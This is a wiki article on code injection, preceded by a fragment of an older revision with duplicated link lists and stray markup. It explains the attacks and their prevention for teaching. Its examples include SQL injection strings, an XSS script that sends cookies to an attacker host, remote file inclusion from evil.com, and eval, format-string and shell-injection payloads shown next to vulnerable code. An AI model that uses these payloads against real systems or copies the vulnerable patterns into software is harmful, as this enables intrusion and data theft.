Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
f.Write Request("username") & vbCrLf
f.close
Set f = nothing
Set fso = Nothing
%>
<h1>List of logged users:</h1>
&lt;pre&gt;
<%
Server.Execute( "userlog.txt" )
%>
&lt;/pre&gt;
<%
Else
%>
<form>
<input name="username" /><input type="submit" name="submit" />
</form>
<%
End If
%>
</nowiki></pre>

In this example, the user is able to insert a command instead of a username.


==See also==
==See also==
{{columns-list|
* [[AspectC_plus_plus|AspectC++]]
* [[Arbitrary code execution]]
* [[debugging]]
* [[File inclusion vulnerability]]
* [[mobile code]]
* [[Gadget (machine instruction sequence)]]
* [[monitoring]]
* [[Prompt injection]]
* [[Shellshock (software bug)]]
* [[SQL injection]]
* [[SQL injection]]
* [[Trojan horse (computing)]]
* [[Unintended instructions]]
}}
* [[Buffer overflow]]

==References==
{{Reflist}}


==External links==
==External links==
* Article "[https://web.archive.org/web/20060301133252/http://chris.vandenberghe.org/publications/csse_raid2005.pdf Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)]" by Tadeusz Pietraszek and Chris Vanden Berghe
*Article "[http://www.codeproject.com/threads/winspy.asp Three Ways to Inject Your Code into Another Process]" by [[Robert Kuster]]
* News article "[https://web.archive.org/web/20050924080540/http://www.emsisoft.com/en/kb/articles/news041104/ Flux spreads wider]" - First [[Trojan horse (computing)|Trojan horse]] to make use of code injection to prevent detection from a [[firewall (networking)|firewall]]
*Article "[http://codebreakers-journal.com/viewarticle.php?id=36 Unpacking by Code Injection]" by [[Eduardo Labir]]
* [http://www.thedailywtf.com/ The Daily WTF] regularly reports real-world incidences{{verify spelling|date=September 2022|reason=''incidence'' is normally used only in the singular form, perhaps ''incidence'', ''incidents'', or ''instances'' was intended}} of susceptibility to code injection in software.
*Article "[http://www.codeproject.com/system/inject2exe.asp Inject your code to a Portable Executable file]" by [[Ashkbiz Danehkar]]
*Article "[http://www.technicalinfo.net/papers/CSS.html HTML Code Injection and Cross-site scripting - Understanding the cause and effect of CSS (XSS) Vulnerabilities]" by [[Gunter Ollmann]]
*Article "[http://chris.vandenberghe.org/publications/csse_raid2005.pdf Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)]" by [[Tadeusz Pietraszek]] and [[Chris Vanden Berghe]]
*News article "[http://www.emsisoft.com/en/kb/articles/news041104/ Flux spreads wider]" - First [[Trojan horse (computing)]] to make use of code injection to prevent detection from a [[firewall (networking)]]
*[http://citeseer.ist.psu.edu/cis?q=code+injection Citations from CiteSeer]
*[http://www.acunetix.com/ Scan for code injection vulnerabilities]
*[http://www.thedailywtf.com/ The Daily WTF] regularly reports real-world incidences of susceptability to code injection in software.


{{Information security}}

{{DEFAULTSORT:Code Injection}}

[[Category:Malware]]
[[Category:Types of malware]]
[[Category:Security exploits]]'''Bold text'''
[[Category:Injection exploits]]
[[Category:Machine code]]
[[Category:Machine code]]
[[Category:Articles with example C code]]

[[he:הזרקת קוד]]

Latest revision as of 14:06, 12 April 2024

Code injection is the exploitation of a computer bug that is caused by processing invalid data. The injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution. The result of successful code injection can be disastrous, for example, by allowing computer viruses or computer worms to propagate.

Code injection vulnerabilities occur when an application sends untrusted data to an interpreter. Injection flaws are most often found in SQL, LDAP, XPath, NoSQL queries, OS commands, XML parsers, SMTP headers, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than via testing.[1] Scanners and fuzzers can help find injection flaws.[2]

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

Certain types of code injection are errors in interpretation, giving special meaning to user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.

Code injection techniques are popular in system hacking or cracking to gain information, privilege escalation or unauthorized access to a system. Code injection can be used malevolently for many purposes, including:

Code injection attacks in Internet of Things could also lead to severe consequences like data breaches and service disruption.[3]

In 2008, 5.66% of all vulnerabilities reported that year were classified as code injection, the highest year on record. In 2015, this had decreased to 0.77%.[4]

Benign and unintentional use[edit]

Code injection may be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without any malicious intent.[5][6] Code injection could, for example:

  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
  • As regards programs like Dropbox, add special parts that could be used to connect to online resources in an offline program.
  • Utilize the Linux Dynamic Linker to define a function with the same name as certain libc functions, link that function as a library, and override the use of the libc function.[7]

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason," or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

Another benign use of code injection could be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as a white hat penetration test.

Preventing problems[edit]

To prevent code injection problems, utilize secure input and output handling, such as:

  • Using APIs that, if used properly, are secure against all input characters. Parameterized queries (also known as "Compiled queries", "prepared statements", "bound variables") allows for moving user data out of string to be interpreted. Additionally Criteria API[8] and similar APIs move away from the concept of command strings to be created and interpreted.
  • Enforcing language separation via a static type system.[9]
  • Input validation, such as whitelisting only known good values, this can be done on client side using JavaScript for example or it can be done on the server side which is more secure.
  • Input encoding, e.g. escaping dangerous characters. For instance, in PHP, using the htmlspecialchars() function to escape special characters for safe output of text in HTML, and mysqli::real_escape_string() to isolate data which will be included in an SQL request, to protect against SQL Injection.
  • Output encoding, i.e. preventing HTML Injection (XSS) attacks against web site visitors
  • HttpOnly is a flag for HTTP Cookies that, when set, does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.[10]
  • Modular shell disassociation from kernel
  • With SQL Injection, one can use parameterized queries, stored procedures, whitelist input validation, and more to help mitigate Code Injection problems.[11]

The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

  • Runtime image hash validation – capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
  • NX bit – all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.
  • Canaries – randomly place values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a Stack Overflow Attack.
  • [In C]Code Pointer Masking (CPM) – after loading a (potentially changed) code pointer into a register, apply a bitmask to the pointer. This effectively restricts the addresses to which the pointer can refer.[12]

Examples[edit]

SQL injection[edit]

SQL injection takes advantage of the syntax of SQL to inject malicious commands that can read or modify a database, or compromise the meaning of the original query.[13]

For example, consider a web page that has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (password' OR '1'='1) in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Assume a query with the following format:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

If an adversary has the following for inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

the query will be parsed to be:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

The result is that the table User will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.

Cross-site scripting[edit]

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users, and typically receives messages such as:

Very nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

HTML and script injection is a popular subject, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[14]

Server Side Template Injection[edit]

Template engines are often used in modern Web application to display dynamic data. However, trusting non validated user data can frequently lead to critical vulnerabilities[15] such as Server Side Template Injections. While this vulnerability is similar to Cross-site scripting, template injection can be leverage to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name. Depending on the implementation of the web application, he could choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to Remote code execution.

Dynamic evaluation vulnerabilities[edit]

An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[16]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection[edit]

PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[17] Such an attack on Joomla was found in 2013.[18]

Remote file injection[edit]

Consider this PHP program (which includes a file specified by request):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

The example might be read as only color-files like blue.php and red.php could be loaded, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the external file.

Format specifier injection[edit]

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input); // Safe version is: printf("%s", user_input);  
  printf("\n");

  return 0;

If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s , then printf()will start reading from the stack. Eventually, one of the %s format specifier will access the address of password , which is on the stack, and print Password1 to the screen.

Shell injection[edit]

Shell injection (or command injection[19]) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack.[20]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client–server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

The passthru in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[21]

Shell feature USER_INPUT value Resulting shell command Explanation
Sequential execution ; malicious_command /bin/funnytext ; malicious_command Executes funnytext, then executes malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Sends the output of funnytext as input to malicious_command.
Command substitution `malicious_command` /bin/funnytext `malicious_command` Sends the output of malicious_command as arguments to funnytext.
Command substitution $(malicious_command) /bin/funnytext $(malicious_command) Sends the output of malicious_command as arguments to funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Executes malicious_command iff funnytext returns an exit status of 0 (success).
OR list || malicious_command /bin/funnytext || malicious_command Executes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overwrites the contents the .bashrc file with the output of funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sends the contents of the .bashrc file as input to funnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.

See also[edit]

References[edit]

  1. ^ "Top 10 Web Application Security Vulnerabilities". Penn Computing. University of Pennsylvania. Archived from the original on 24 February 2018. Retrieved 10 December 2016.
  2. ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Retrieved 19 December 2013.
  3. ^ Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (January 2023). "Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations". Sensors. 23 (13): 6067. Bibcode:2023Senso..23.6067N. doi:10.3390/s23136067. ISSN 1424-8220. PMC 10346793. PMID 37447915.
  4. ^ "NVD - Statistics Search". web.nvd.nist.gov. Retrieved 9 December 2016.
  5. ^ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 18 September 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  6. ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Computer Network Security. Lecture Notes in Computer Science. Vol. 6258. Berlin, Heidelberg: Springer. pp. 229–241. CiteSeerX 10.1.1.185.2152. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14705-0. ISSN 0302-9743.
  7. ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafał Cieślak's blog. 2 April 2013. Retrieved 10 December 2016.
  8. ^ "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Retrieved 19 December 2013.
  9. ^ Moertel, Tom (18 October 2006). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?". Tom Moertel’s Blog. Retrieved 21 October 2018.
  10. ^ "HttpOnly". OWASP. 12 November 2014. Retrieved 10 December 2016.
  11. ^ "SQL Injection Prevention Cheat Sheet". OWASP. Retrieved 10 December 2016.
  12. ^ Philippaerts, Pieter; et al. (1 June 2013). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1–27. doi:10.1145/2487222.2487223. ISSN 1094-9224. S2CID 10947780.
  13. ^ Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021). "Long short‐term memory on abstract syntax tree for SQL injection detection". IET Software. 15 (2): 188–197. doi:10.1049/sfw2.12018. ISSN 1751-8806. S2CID 233582569.
  14. ^ Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media. p. 254. ISBN 978-0-596-51483-9. OCLC 297573828.
  15. ^ "Server-Side Template Injection". PortSwigger Research. 5 August 2015. Retrieved 22 May 2022.
  16. ^ Steven M. Christey (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Retrieved 21 October 2018.
  17. ^ "Unserialize function warnings". PHP.net.
  18. ^ "Analysis of the Joomla PHP Object Injection Vulnerability". Retrieved 6 June 2014.
  19. ^ "Command Injection". OWASP.
  20. ^ Douglas W. Jones, CS:3620 Notes, Lecture 4 — Shell Scripts, Spring 2018.
  21. ^ "Command Injection - Black Hat Library". Archived from the original on 27 February 2015. Retrieved 27 February 2015.

External links[edit]